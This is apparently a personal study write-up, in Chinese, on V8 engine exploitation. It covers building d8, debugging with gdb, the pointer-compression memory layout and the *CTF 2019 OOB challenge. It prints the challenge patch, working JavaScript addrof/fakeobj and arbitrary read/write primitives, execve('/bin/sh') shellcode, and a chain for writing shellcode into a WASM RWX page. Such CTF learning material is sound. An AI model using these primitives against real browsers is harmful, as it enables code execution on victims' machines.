现在根本不知道v8是怎么调试的,先通过知道创宇的starctf oob入门一下
环境搭建 原文作者选择在win上用WSL编译,笔者因为电脑比较得劲就开个ubuntu编译
分配了12G内存、16核,time autoninja看了一下大概9min就好了
这里得先装一个git
然后装depot_tools
1 2 3 4 5 cd ~ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git export PATH="$HOME/depot_tools:$PATH"
我们用fetch v8会拉下v8源码后直接创一个v8目录,不用特地mkdir v8
随后
1 ./build/install-build-deps.sh
这个可以自动装一些小工具
gclient sync下载依赖
1 $ gn gen out/x64.release --args='放编译参数,正常会给args.gn'
用autoninja -C out/x64.release d8编译,前面加个time可以算时间
如果题目给了commit,可以在gclient sync之前
git reset –hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff(这个会把修改切没掉,只切版本的话就用git checkout)
推荐用gclient sync -D,可以把不需要的依赖删掉
如果题目提供了patch就在gclient sync -D后打一下 git apply < ./patch
自动编译 原文出于方便编译任意版本的目的写了build.sh,不过对于初学者来说还是先手搓好
这部分属于额外环境封装,跳过
通用利用链 在正常做ctf时一般都有一个明确的目标,拿shell或者orw,原文认为在v8中的目标就是执行任意shellcode
v8调试 首先把v8/tools/gdbinit加入到~/.gdbinit中
这样在用gdb启动d8时就能用v8的调试指令
接下来在d8目录中vim一个test.js
这里得加入–allow-natives-syntax,d8里没有%这种东西
%DebugPrint()打印对象在v8内的表示
这里的prototype表示原型对象,JavaScript 对象找不到某个属性时,会沿着 prototype 链继续往上找
[PACKED_SMI_ELEMENTS (COW)] COW表示copy on write,写时复制
map本身也是v8 heapobject,所以map也有map
普通 JS 对象的类型信息 → Map
Map 自己的类型信息 → MetaMap
properties = 按名字访问
elements = 按数字下标访问
tagged pointer : 因为堆对象地址按字节对齐,最低几位本来通常是 0,V8 就拿这些位来区分“这是整数还是堆对象指针”
最低位 = 0 → Smi 小整数
最低位 = 1 → HeapObject 指针
gdb启动
gdb进入d8后用r –allow-natives-syntax test.js运行js命令
这样就方便用gdb看内存了
前面提到了v8的gdbinit,里面给gdb加了一些辅助调试命令,job就跟%DebugPrint()差不多
不过这里得注意一下
因为 job 操作的是 V8 的 Tagged Pointer ,而“真实地址”是去掉 tag 后的对象起始地址
所以job后面的参数为真实地址+1
如果启用了 Pointer Compression,还可能再多一层压缩指针到完整地址的转换
如果参数是真实地址,会被解析成Smi
wasm Wasm(WebAssembly)是一种面向虚拟机的二进制指令格式 ,主要目的是让 C/C++、Rust 等现有代码能进入web,而不是得全部重写成JS
v8可以把这种二进制指令格式编译成机器码执行
1 2 3 4 5 6 7 8 9 10 11 12 C / C++ / Rust │ │ 编译 ▼ WebAssembly (.wasm) │ ▼ Chrome / V8 / Firefox / Wasmtime │ ▼ 机器码执行
JS调用wasm(一般就是通过浏览器提供的 WebAssembly API)常常是为了把高性能或者底层任务交给wasm
基本现代浏览器都支持wasm,老v8会生成一段rwx内存给wasm用,现代就复杂一点
vim一个js看看
1 2 3 4 5 6 7 8 9 %SystemBreak(); var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(f); %DebugPrint(wasmInstance); %SystemBreak();
我们先看看这个无符号8位整数array表示了什么
Uint8Array 里面每个数字都是一个字节,整体就是一个 .wasm 文件的原始二进制内容
等价于
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (module (type $t0 (func (result i32))) (func $main (type $t0) (result i32) i32.const 42 ) (table 0 funcref) (memory 1) (export "memory" (memory 0)) (export "main" (func 0)) )
memory()导出一块 Wasm Linear Memory
main()return 42
wasmModule这一步是将wasmCode转化成v8可以识别的程序模板(Module可便于创建多个独立运行的实例)
wasmInstance真正实例化
var f = wasmInstance.exports.main;
从 wasmInstance 导出的内容里,取出名为 main 的 Wasm 函数,然后保存到变量 f
wasmInstance.exports表示这个Wasm实例对JS暴露出来的所有东西(memory、main)
在第二个断点处我们发现它生成了一段rwx
现在的问题变成我们如何得到该地址
先看看%DebugPrint(f)输出了什么
可以看出这是一个函数对象
SharedFunctionInfo,简称 SFI ,保存函数相对静态的元数据
用job查看shared_info
查看data结构
看看instance
注意到该地址与WasmInstanceObject重合
原文的rwx在instance+68,我这里编译出来的d8是12.8(开了sandbox),用jump table能找出来,原文instance那还真没有
在12.8.0中WasmTrustedInstanceData的trusted_data + 0x38处
现在的目的就是把shellcode写进wasm的rwx段然后执行
任意读写 先看看两种变量类型的结构
先看看a 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 DebugPrint : 0x36e100047ff9 : [JSArray ] - map : 0x36e10018cd1d <Map [16 ](PACKED_DOUBLE_ELEMENTS )> [FastProperties ] - prototype : 0x36e10018c691 <JSArray [0 ]> - elements : 0x36e100047fe9 <FixedDoubleArray [1 ]> [PACKED_DOUBLE_ELEMENTS ] - length : 1 - properties : 0x36e100000725 <FixedArray [0 ]> - All own properties (excluding elements): { 0x36e100000d99 : [String ] in ReadOnlySpace : #length : 0x36e10028827d <AccessorInfo name= 0x36e100000d99 <String [6 ]: #length>, data= 0x36e100000069 <undefined >> (const accessor descriptor, attrs : [W__ ]), location : descriptor } - elements : 0x36e100047fe9 <FixedDoubleArray [1 ]> { 0 : 2.1 }0x36e10018cd1d : [Map ] in OldSpace - map : 0x36e1001816d9 <MetaMap (0x36e100181729 <NativeContext [295 ]>)> - type : JS_ARRAY_TYPE - instance size : 16 - inobject properties : 0 - unused property fields : 0 - elements kind : PACKED_DOUBLE_ELEMENTS - enum length : invalid - back pointer : 0x36e10018ccdd <Map [16 ](HOLEY_SMI_ELEMENTS )> - prototype_validity cell : 0x36e100000a89 <Cell value= 1 > - instance descriptors #1 : 0x36e10018cca9 <DescriptorArray [1 ]> - transitions #1 : 0x36e10018cd45 <TransitionArray [4 ]> Transition array #1 :0x36e100000e5d <Symbol : (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS ) -> 0x36e10018cd5d <Map [16 ](HOLEY_DOUBLE_ELEMENTS )> - prototype : 0x36e10018c691 <JSArray [0 ]> - constructor : 0x36e10018c389 <JSFunction Array (sfi = 0x36e10028d6cd )> - dependent code : 0x36e100000735 <Other heap object (WEAK_ARRAY_LIST_TYPE )> - construction counter : 0
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/8gx 0x36e100047ff9-1 0x36e100047ff8: 0x000007250018cd1d 0x0000000200047fe9 0x36e100048008: 0x00000725001985e9 0x0000000200000725 0x36e100048018: 0x0001000100000685 0x0000074d00000000 0x36e100048028: 0x0000008400002b09 0x0000056d00000002 pwndbg> x/8gx 0x36e100047fe9-1 0x36e100047fe8: 0x00000002000008a9 0x4000cccccccccccd 0x36e100047ff8: 0x000007250018cd1d 0x0000000200047fe9 0x36e100048008: 0x00000725001985e9 0x0000000200000725 0x36e100048018: 0x0001000100000685 0x0000074d00000000
内存大概长这样
注意到这里开了指针压缩 ,很多字段只有 4 bytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cage base = 0x36e100000000 FixedDoubleArray 0x...47fe8 ┌────────────────────────────┐ │ map = 0x000008a9 │ 4B │ length = 0x00000002 Smi(1) │ 4B 0x...47ff0 │ 0x4000cccccccccccd │ 8B │ = 2.1 │ └────────────────────────────┘ JSArray 0x...47ff8 ┌────────────────────────────┐ │ map = 0x0018cd1d │ 4B │ properties = 0x00000725 │ 4B 0x...48000 │ elements = 0x00047fe9 │ 4B │ length = 0x00000002 Smi(1) │ 4B └────────────────────────────┘ 0x...48008 下一个 HeapObject
注意到这一次a 的 FixedDoubleArray backing store 恰好位于 a 对象之前。如果漏洞允许对该 backing store 进行越界读写,那么越过其末尾后,就可能访问相邻堆对象的 map、properties、elements、length
这里是因为压缩指针下 Smi 只有 31 位且强制 值<<1(最低位必须为 0),塞不进任意 64 位值,读出来也被抹掉最低位
b跟c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 DebugPrint: 0x36e100048009: [JS_OBJECT_TYPE] - map: 0x36e1001985e9 <Map[16](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x36e100182611 <Object map = 0x36e100181c25> - elements: 0x36e100000725 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x36e100000725 <FixedArray[0]> - All own properties (excluding elements): { 0x36e100002b09: [String] in ReadOnlySpace: #a: 1 (const data field 0, attrs: [WEC]) @ Any, location: in-object } 0x36e1001985e9: [Map] in OldSpace - map: 0x36e1001816d9 <MetaMap (0x36e100181729 <NativeContext[295]>)> - type: JS_OBJECT_TYPE - instance size: 16 - inobject properties: 1 - unused property fields: 0 - elements kind: HOLEY_ELEMENTS - enum length: invalid - stable_map - back pointer: 0x36e1001985c1 <Map[16](HOLEY_ELEMENTS)> - prototype_validity cell: 0x36e100000a89 <Cell value= 1> - instance descriptors (own) #1: 0x36e100048019 <DescriptorArray[1]> - prototype: 0x36e100182611 <Object map = 0x36e100181c25> - constructor: 0x36e100182139 <JSFunction Object (sfi = 0x36e10028cc7d)> - dependent code: 0x36e100000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 DebugPrint: 0x36e100048041: [JSArray] - map: 0x36e10018cd9d <Map[16](PACKED_ELEMENTS)> [FastProperties] - prototype: 0x36e10018c691 <JSArray[0]> - elements: 0x36e100048035 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x36e100000725 <FixedArray[0]> - All own properties (excluding elements): { 0x36e100000d99: [String] in ReadOnlySpace: #length: 0x36e10028827d <AccessorInfo name= 0x36e100000d99 <String[6]: #length>, data= 0x36e100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x36e100048035 <FixedArray[1]> { 0: 0x36e100048009 <Object map = 0x36e1001985e9> } 0x36e10018cd9d: [Map] in OldSpace - map: 0x36e1001816d9 <MetaMap (0x36e100181729 <NativeContext[295]>)> - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - unused property fields: 0 - elements kind: PACKED_ELEMENTS - enum length: invalid - back pointer: 0x36e10018cd5d <Map[16](HOLEY_DOUBLE_ELEMENTS)> - prototype_validity cell: 0x36e100000a89 <Cell value= 1> - instance descriptors #1: 0x36e10018cca9 <DescriptorArray[1]> - transitions #1: 0x36e10018cdc5 <TransitionArray[4]> Transition array #1: 0x36e100000e5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x36e10018cddd <Map[16](HOLEY_ELEMENTS)> - prototype: 0x36e10018c691 <JSArray[0]> - constructor: 0x36e10018c389 <JSFunction Array (sfi = 0x36e10028d6cd)> - dependent code: 0x36e100000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0
let b = {“a”: 1};
let c = [b];
变量 c 是一个数组,数组里唯一的元素就是对象 b
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> job 0x36e100048035 0x36e100048035: [FixedArray] - map: 0x36e10000056d <Map(FIXED_ARRAY_TYPE)> - length: 1 0: 0x36e100048009 <Object map = 0x36e1001985e9> pwndbg> x/8gx 0x36e100048041-1 0x36e100048040: 0x000007250018cd9d 0x0000000200048035 0x36e100048050: 0x0000000000000000 0x0000000000000000 0x36e100048060: 0x0000000000000000 0x0000000000000000 0x36e100048070: 0x0000000000000000 0x0000000000000000 pwndbg> x/8gx 0x36e100048035-1 0x36e100048034: 0x000000020000056d 0x0018cd9d00048009 0x36e100048044: 0x0004803500000725 0x0000000000000002 0x36e100048054: 0x0000000000000000 0x0000000000000000 0x36e100048064: 0x0000000000000000 0x0000000000000000
变量 c 和变量 a 本身都是 JSArray,因此 JSArray 对象头的结构基本相同。区别主要在 elements 指向的 backing store。a 是 PACKED_DOUBLE_ELEMENTS,使用 FixedDoubleArray,其中每个元素直接保存一个 64-bit double;c 是 PACKED_ELEMENTS,使用 FixedArray,其中对象元素以 Tagged Pointer 保存。在开启 Pointer Compression 的情况下,这些 Tagged Pointer 被压缩为 32 bit,因此 c 的每个元素槽位是 32 bit
任意变量地址读 我们看看V8 利用里最经典的两个原语:
addressOf / addrof:对象 → 地址
fakeObj / fakeobj:地址 → 对象
Map 中的 ElementsKind 决定 V8 用什么方式解释 elements 里的 bit
1 2 3 4 5 6 7 a.map → PACKED_DOUBLE_ELEMENTS a.elements: | map | length | 64-bit IEEE754 double | c.map → PACKED_ELEMENTS c.elements: | map | length | 32-bit compressed Tagged Pointer | ...
内存本身只是一堆 bit。真正决定这 32/64 bit 到底应该被当成 double,还是对象引用的是 Map → ElementsKind
如果把变量c的map地址改成变量a的,那么当执行c[0]的时候,获取到的就是变量b的地址
这就是addrof函数的目的
double to object fakeobj:把浮点数组伪装成对象数组
利用模板概览 漏洞本身只负责一件事:改写某个 JSArray 的 map 字段
具体漏洞(OOB / UAF / 类型混淆)唯一要求:能把某个 JSArray 的 map 改成另一种数组的 map
对象数组 (PACKED_ELEMENTS)
double 数组 (PACKED_DOUBLE_ELEMENTS)
元素在内存中的形态
32 位压缩指针(最低位 tag=1)
64 位原始值,无任何 tag
读 arr[0] 时引擎做什么
解引用:当指针解析,返回一个对象句柄
原样返回这 8 个字节,不解释、不追踪
GC 怎么对待内容
逐个扫描、按对象移动更新
完全不理会,GC 不会扫 FixedDoubleArray 的内容
之后的利用链全部固定:map 混淆 → addrof/fakeObj 原语 → 任意读写 → 劫持 backing_store → 写 WASM RWX 页 → 触发执行
[触发层] 漏洞 → JSArray 元数据可控(map / length / elements)
[原语层] addrof ⇄ fakeobj(同一操作的镜像)→ fake_array+fake_object → read64/write64
[执行层] 改 ArrayBuffer.backing_store → DataView 写 shellcode → 调 wasm 导出函数
写shellcode 1 2 3 4 5 function write64(addr, data) { fake_array[1] = itof(addr - 0x8n + 0x1n); // ① 伪造 elements 指针 fake_object[0] = itof(data); // ②③ 引擎按 double 数组语义写入 }
由fake_array和fake_object构造的write64不能直接把shellcode写入rwx
elements 字段只有 32 位,解压规则是固定拼接 cage base,最主要的原因就是rwx段在解压缩指针的4GB范围内不可达
write64 的目标地址前面 8 字节**必须可读且内容凑合合法,**而 RWX 段起始地址的前 8 字节(rwx−8)落在映射之外(未映射页/保护区域),第一次解引用就段错误
f() 的调用落点固定在 RWX 区域入口,rwx+8也不可取
先vim一下
程序先申请了一块 16 字节的小内存 ,叫 data_buf。
然后又创建了一个 DataView,专门用来读写这块内存。
接着程序通过这个工具,把数字 2.0 写到这块内存的最开头,占用前 8 个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 DebugPrint: 0x1db000048039: [JSArrayBuffer] - map: 0x1db000189c91 <Map[52](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1db000189e25 <Object map = 0x1db000189cb9> - elements: 0x1db000000725 <FixedArray[0]> [HOLEY_ELEMENTS] - cpp_heap_wrappable: 0 - backing_store: 0x1db100000000 - byte_length: 16 - max_byte_length: 16 - detach key: 0x1db000000069 <undefined> - detachable - properties: 0x1db000000725 <FixedArray[0]> - All own properties (excluding elements): {} 0x1db000189c91: [Map] in OldSpace - map: 0x1db0001816d9 <MetaMap (0x1db000181729 <NativeContext[295]>)> - type: JS_ARRAY_BUFFER_TYPE - instance size: 52 - inobject properties: 0 - unused property fields: 0 - elements kind: HOLEY_ELEMENTS - enum length: invalid - stable_map - back pointer: 0x1db000000069 <undefined> - prototype_validity cell: 0x1db000000a89 <Cell value= 1> - instance descriptors (own) #0: 0x1db000000759 <DescriptorArray[0]> - prototype: 0x1db000189e25 <Object map = 0x1db000189cb9> - constructor: 0x1db000189c41 <JSFunction ArrayBuffer (sfi = 0x1db000291bfd)> - dependent code: 0x1db000000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 DebugPrint: 0x1db00004806d: [JSDataView] - map: 0x1db000187561 <Map[48](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1db000187781 <Object map = 0x1db000187589> - elements: 0x1db000000725 <FixedArray[0]> [HOLEY_ELEMENTS] - buffer =0x1db000048039 <ArrayBuffer map = 0x1db000189c91> - byte_offset: 0 - byte_length: 16 - properties: 0x1db000000725 <FixedArray[0]> - All own properties (excluding elements): {} 0x1db000187561: [Map] in OldSpace - map: 0x1db0001816d9 <MetaMap (0x1db000181729 <NativeContext[295]>)> - type: JS_DATA_VIEW_TYPE - instance size: 48 - inobject properties: 0 - unused property fields: 0 - elements kind: HOLEY_ELEMENTS - enum length: invalid - stable_map - back pointer: 0x1db000000069 <undefined> - prototype_validity cell: 0x1db000000a89 <Cell value= 1> - instance descriptors (own) #0: 0x1db000000759 <DescriptorArray[0]> - prototype: 0x1db000187781 <Object map = 0x1db000187589> - constructor: 0x1db00018752d <JSFunction DataView (sfi = 0x1db000292b5d)> - dependent code: 0x1db000000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0
这里有一个跟原文不一样的地方,原文没开sandbox,backing store是malloc 原生堆的裸指针
我这里编译开了sandbox
对象
地址
说明
JSArrayBuffer 本体
0x1db0_00048039
在 4GB 指针笼内(基址 0x1db_00000000)
backing_store 指向
0x1db1_00000000
恰好 = 笼基址 + 4GB
data_buf
double型的2.0就是0x4000000000000000
可以看处data_buf的值存储在一段连续的地址中
原文的思路是通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的
我们发现 backing_store 那 8 字节存的不是 0x1db100000000 本身
1 2 3 4 5 6 7 8 9 10 11 12 真实地址 0x1db100000000 ↓ 减 sandbox base offset = 0x1db100000000 - 0x1db000000000 = 0x100000000 ↓ 左移 24 bit raw = 0x100000000 << 24 = 0x0100000000000000
这里还想copy_shellcode_to_rwx 就得打sandbox escape了
利用 1 2 3 4 5 6 7 var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n //execve(/bin/sh,0,0) ]; copy_shellcode_to_rwx(shellcode, rwx_page_addr); f();
通过f()执行shellcode
starctf 2019 OOB https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
这里有完整的patch
环境构造 1 2 3 4 5 6 7 8 git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 gclient sync -D cd .. vim oob.diff cd v8 git apply ../oob.diff python2 build/linux/sysroot_scripts/install-sysroot.py --arch=amd64
这里编译的时候遇到一个问题,v8的版本太老得用到python2,但apt不提供了,只能开个docker了
1 2 3 4 5 6 7 docker run -it \ --name v8-startctf \ -v ~/v8:/work \ ubuntu:20.04 \ bash apt update apt install -y python2 git curl ca-certificates build-essential
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 python build/linux/sysroot_scripts/install-sysroot.py --arch=amd64 apt install -y pkg-config ./buildtools/linux64/gn gen out.gn/x64_startctf.release --args=' v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true treat_warnings_as_errors=false ' apt install -y ninja-build time ninja -C out.gn/x64_startctf.release d8
还挺快
记得把没用的docker删掉
分析 先看看patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 0447230..f113a81 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayOob) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5..c199e3a 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView:
给所有 JavaScript 数组的原型 Array.prototype 新增了一个叫 oob (out of bounds)的方法,传入两个参数
也就是 JS 里能这么调
1 2 3 let a = [1.1, 2.2, 3.3]; a.oob(); // 读 a.oob(1.337); // 写
定义内置函数ArrayOob(),ArrayOob能调用isolate(当前实例)跟args(调用参数)变量
uint32_t len = args.length();取本次参数调用个数(args[0]->this也算一个),故arr.oob(x)->length == 2,len>2时直接return underfined
JSReceiver表示 V8 里“可以接收属性访问的 JS 对象”的基类
1 2 3 4 {} [] function(){} new Date()
例如这些
Handle
表示一个由 V8 GC 管理的 JSReceiver 引用,receiver是变量名
args.receiver():拿到当前函数调用里的 **receiver,也就是 ****this**
然后把JSReceiver转化成JSArray类型的Handle
取内存,转化成FixedDoubleArray,取length转化成number
接下来是个条件分支,len =1 read,len = 2 write
这一块实际上最后一个元素应该是length-1,这里正好能越界访问一个元素
相当于elements[length] = value;
oob方法相当于提供一个8字节的越界读写
利用构造 JS是不能直接读addr的,但通过类型混淆可以让v8将一个addr pointer所在8字节当成 double 数组里的浮点数读出来
首先构造froi()跟itof()函数转化再JS里的数据表示
ftoi(float) -> BigInt:把泄露出来的 double 还原成 64-bit 整数地址
itof(BigInt) -> float:把想写入的 64-bit 地址伪装成 double 写回内存
等于是同一块内存不同的解释方式
1 2 3 4 5 6 7 8 9 10 11 12 13 var buf = new ArrayBuffer (8 )var f64_buf = new Float64Array (buf)var u32_buf = new Uint32Array (buf)function ftoi (val ){ f64_buf[0 ] = val; return BigInt (u32_buf[0 ]) + (BigInt (u32_buf[1 ]) << 32n ); }function itof (val ){ u32_buf[0 ] = Number (val & 0xffffffffn ); u32_buf[1 ] = Number (val >> 32n ); return f64_buf[0 ]; }
f64与u32共享buf,但对数据的解释方式不一样
ftoi通过f64传入val并用u32读取相加成BigInt(高位值左移32位与低位值相加)
itof用u32拆开val,& 0xffffffffn 表示位与,低32位保留,高位清0;高位右移
1 2 3 4 val = HHHHHHHH LLLLLLLL val & 0xffffffffn → 00000000 LLLLLLLL ← 低 32 位 val >> 32n → 00000000 HHHHHHHH ← 高 32 位搬到低位
00000000 LLLLLLLL
00000000 HHHHHHHH
注意这是显示形式,u32储存的是32位数据(JS中普通数字都是 Number,>>这类位运算会先把number转换成 32 位整数 再进行操作 ),两个加起来正好是64位
addrof()/fakeobj() addrof()把obj数组的map改成浮点数的map,fakeobj()相反
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var obj = {"A" : 1 };var obj_arr = [obj];var float_arr = [1.1 ,1.2 ,1.3 ,1.4 ];var obj_arr_map = obj_arr.oob ();var float_arr_map = float_arr.oob ();function addrof (in_obj ){ obj_arr[0 ] = in_obj; obj_arr.oob (float_arr_map); let addr = obj_arr[0 ]; obj_arr.oob (obj_arr_map); return ftoi (addr); }function fakeobj (addr ){ float_arr[0 ] = itof (addr); float_arr.oob (obj_arr_map); let fake = float_arr[0 ]; float_arr.oob (float_arr_map); return fake; }
这里得注意到obj_arr.oob()读出的正好是该buffer的下一个8字节,也就是该数组对象自己的map*
发现array buf后就是其JS对象的map指针
1 2 var obj_arr_map = obj_arr.oob ();var float_arr_map = float_arr.oob ();
对应其数组指针
addof()传入一个JS对象return 对象地址
fakeobj()传入一个地址,然后让v8认为这是一个JS对象
都是通过改map的方式实现类型混淆
最后得把map改回来避免后续操作把数组搞坏
任意读写 这里的n是JS BigInt字面量标记
1 2 3 4 5 6 7 8 9 10 11 12 13 var arb_rw_arr = [float_arr_map,1.2 ,1.3 ,1.4 ]; function arb_read (addr ){ if (addr%2n == 0 ) addr += 1n ; let fake = fakeobj (addrof (arb_rw_arr) - 0x20n ); arb_rw_arr[2 ] = itof (BigInt (addr) - 0x10n ); return ftoi (fake[0 ]); }function initial_arb_write (addr,val ){ let fake = fakeobj (addrof (arb_rw_arr) - 0x20n ); arb_rw_arr[2 ] = itof (BigInt (addr) - 0x10n ); fake[0 ] = itof (BigInt (val)); }
伪造一个 JSArray,然后不断修改这个假数组的 elements 指针,让 fake[0] 实际去读/写任意地址
arb_read()中
1 if (addr%2n == 0 ) addr += 1n ;
用于伪造tagged pointer,欺骗v8把他当成JS对象
1 let fake = fakeobj (addrof (arb_rw_arr) - 0x20n );
在arb_rw_arr 数组对象指针指向的addr-0x20处,也就是它的buffer构造一个伪JS对象
1 arb_rw_arr[2 ] = itof (BigInt (addr) - 0x10n );
把假数组的 elements 指针控制成:
JSArray的布局大致如此
1 2 3 4 5 6 7 8 9 10 JSArray ┌─────────────────────┐ │ map │ 告诉是什么类型 ├─────────────────────┤ │ properties │ ├─────────────────────┤ │ elements │ ────────> 真正存数组元素的地方 ├─────────────────────┤ │ length │ └─────────────────────┘
JSArray 本身只有 4 个字段(0x20 字节),元素放在堆上另一块连续内存里(这种设计便于共享内存以及copy on write)
即elements指向某块内存,fake[0]是去 elements 指向的+0x10处读取第 0 个元素
arb_rw_arr的内存布局变化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 真实 arb_rw_arr 的 FixedDoubleArray ┌──────────────────────────────┐ │ E+0x00 : FixedDoubleArray .map │ │ E+0x08 : length │ │ E+0x10 : elements[0 ] │ = float_arr_map ──> 被当成 fake.map │ E+0x18 : elements[1 ] │ = 1.2 ──> 被当成 fake.properties │ E+0x20 : elements[2 ] │ = 1.3 ──> 被当成 fake.elements │ E+0x28 : elements[3 ] │ = 1.4 ──> 被当成 fake.length └──────────────────────────────┘ ↑ │ fake = fakeobj (A - 0x20 ) = fakeobj (E + 0x10 ) │ 改 arb_rw_arr[2 ]: E+0x20 = addr - 0x10 ↓ fake.elements = addr - 0x10 ↓ fake[0 ] 实际访问: fake.elements + 0x10 = addr ↓ 读/写 addr
这里有一点注意下,elements 指向的通常不是第一个实际数据,而是一个 FixedArray/FixedDoubleArray 结构,当前版本下的offset为0x10
内存布局长这样
1 2 3 4 5 6 7 8 9 10 11 E+0x00 ┃ FixedDoubleArray 的 map ┃ ┐ E+0x08 ┃ length = 4 ┃ ┘ buffer 头,共 0x10 E+0x10 ┃ element[0 ] = float_arr_map ┃ ← fake 必须从这一行开始 E+0x18 ┃ element[1 ] = 1.2 ┃ E+0x20 ┃ element[2 ] = 1.3 ┃ 数据区,4 × 8 = 0x20 E+0x28 ┃ element[3 ] = 1.4 ┃ E+0x30 ┃ ───────── buffer 结束 ─────────┃ A+0x00 ┃ JSArray .map ┃ ← A = E + 0x30 A+0x08 ┃ properties ┃ A+0x10 ┃ elements → E ┃ A+0x18 ┃ length = 4 ┃
等于是<font style="color:rgb(15, 17, 21);background-color:rgb(250, 250, 250);">arb_rw_arr</font> 的元素区被借出来塞进fake对象
WASM 用wasm申请一个RWX页
这里可以用用wat2wasm、wasm2wat
